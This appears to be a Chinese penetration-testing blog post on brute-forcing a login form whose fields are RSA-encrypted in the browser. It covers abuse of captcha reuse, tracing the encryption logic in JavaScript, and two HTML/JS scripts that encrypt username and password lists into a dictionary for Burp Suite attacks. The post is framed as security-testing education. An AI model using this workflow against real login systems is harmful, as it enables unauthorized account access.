查看原文
人权观察

原创 | 如何对登录接口加密字段进行暴破?

夕惕若厉 SecIN技术平台 2022-08-31

点击蓝字




关注我们



导语


随着时间的推移,安全也越来越被大家开始关注,随之而来的就有各种内容加密,本文简单对登录接口暴力破解时字段被加密,如何处理加密内容进行暴破来进行一个简单的分享。


正文


登录接口如下:
BP上代理,输入账号密码验证码点击登录,查看历史记录分析。

可以看到发送了一个获取验证码的请求,内容为base64的图片和对应的key

继续查看登录验证请求,进行分析

当图片对应的key和字符正确时请求将会接受进行查询。

但是验证码每次都是独立获取的,且响应中存在key值,我们只需调用刷新验证的请求,获取key值和正确字符进行替换,那么就可以保证每次请求的内容有效。

我们再输入用户名2进行抓包
验证码错误提示error

复制用户2的信息替换到之前用户1的请求中重放。验证码依旧使用用户1的。

验证同一验证码可多次重复使用。

存在验证码重用的问题,但是请求加密了不能直接进行爆破。所以我们需要分析前端加密代码逻辑。

1.根据关键字快速定位加密字段
打开浏览器调试模式,根据请求包的关键字在js脚本中进行搜索帮助我们快速定位,定位到一个ajax请求

可以看到smsg的内容调用了rsa函数,加密内容为sMsgStr这个变量。同时可以看到js文件夹下rsa.min.js文件,根据命名查看内容得知为rsa加密方法。

2.根据关键字快速定位加密规则
继续搜索关键字,追踪变量 sMsgStr,可以看到为各字段组合拼接内容。

那么逻辑就很清晰了,我们只需获取各字段进行拼接,之后调用rsa函数加密即可。

3.根据加密规则获取各字段值
方法一:通过数据包获取
直接在数据包中搜索关键字即可。

方法二:通过调试获取设置断点
设置断点

刷新页面
输入内容,点击登录


进行断点调试

这里点击进入下一个断点查看值
可以看到 authType 值为1

继续调试获取其他字段值
至此我们获得了各字段值

分析拼接规则,还调用了getLengthStr函数,继续在js中依据关键字搜索。
var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType) + getLengthStr(clientId) + username + password + responseType + clientId;//拼接规则
得到该函数内容

最后我们只需要调用rsa函数对拼接内容加密即可。

通过请求包获取各字段值,编写验证脚本。

4.编写测试脚本验证
<html><script src="https://www.test.com/js/rsa.min.js?ver=20220811"></script><script src="https://www.test.com/js/jquery-1.8.3.min.js?ver=20220811"></script><script>
var getLengthStr = function (str) { var length = str.length; if (length < 10) { return '0' + length; } else if (length < 100) { return '' + length; } return '00'; };
var rsa = new RSAKey(); rsa.setPublic(window.UUAP_STATIC._encode_key, window.UUAP_STATIC._key_plus); var authType = 1;//通过数据包或调试获取var username = "test";//自定义用户名 var password = '123qweASD@';//自定义密码 var responseType = 'code';//通过数据包或调试获取 var clientId = 'uuapclient-465109485371793408-oKZZj';//通过数据包或调试获取 var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType) + getLengthStr(clientId) + username + password + responseType + clientId;//拼接规则 var okk = rsa.encrypt_b64(sMsgStr);//加密后的内容
document.write(encodeURIComponent(okk)+ ""); //由于拼接内容有特殊符号,使用函数encodeURIComponent进行url编码拼接,打印出来
</script></html>
将用户名置空,测试加密内容是否正确

保存为html文件打开


复制加密内容到BP进行重放验证,根据提示可知,验证脚本正确。

再次修改用户名为test进行验证,根据提示可知,验证脚本正确。

5.编写脚本批量生成字典
编写脚本批量输出用户名或密码加密后内容
<html><script src="https://test.com/js/rsa.min.js?ver=20220811"></script><script src="https://test.com/js/jquery-1.8.3.min.js?ver=20220811"></script><script>
var getLengthStr = function (str) { var length = str.length; if (length < 10) { return '0' + length; } else if (length < 100) { return '' + length; } return '00'; };
var rsa = new RSAKey(); rsa.setPublic(window.UUAP_STATIC._encode_key, window.UUAP_STATIC._key_plus); var authType = 1; var responseType = 'code';var username = "test"; var password = '123qweASD@'; var responseType = 'code'; var clientId = 'uuapclient-465109485371793408-oKZZj'; var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType) + getLengthStr(clientId) + username + password + responseType + clientId; var okk = rsa.encrypt_b64(sMsgStr);
//document.write(encodeURIComponent(okk)+ ""); //由于拼接内容有特殊符号,使用函数encodeURIComponent进行url编码拼接
var namelist = ["admin","chenxiuzhen"]; //替换用户名列表var passlist = ["passwd","Dandy123"]; //替换密码列表
//输出用户名加密后的内容for (var i=0;i<namelist.length;i++){ var username = namelist[i]; var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType) + getLengthStr(clientId) + username + password + responseType + clientId; var okk = rsa.encrypt_b64(sMsgStr); document.write((username)+""); document.write(encodeURIComponent(okk)+ ""); }
//输出密码加密后的内容 for (var i=0;i<passlist.length;i++) { var password = passlist[i]; var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType) + getLengthStr(clientId) + username + password + responseType + clientId; var okk = rsa.encrypt_b64(sMsgStr); document.write((password)+""); document.write(encodeURIComponent(okk)+ ""); }

</script></html>
效果图:

输出内容,复制粘贴保存为字典,最后根据字典使用

BP进行爆破操作。


总结


整体内容并不复杂,相对正常测试加入了一部分前端分析调试的内容,希望大家在安全测试过程中可以多抱着学习的态度,多点耐心和认真,早日成为安全专家。


往期推荐



活动 | SecIN喊你来投稿啦!投稿即有惊喜好礼~更有机会稿费翻倍!

原创 | 深入浅出SSRF

原创 | TP5 RCE漏洞总结

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存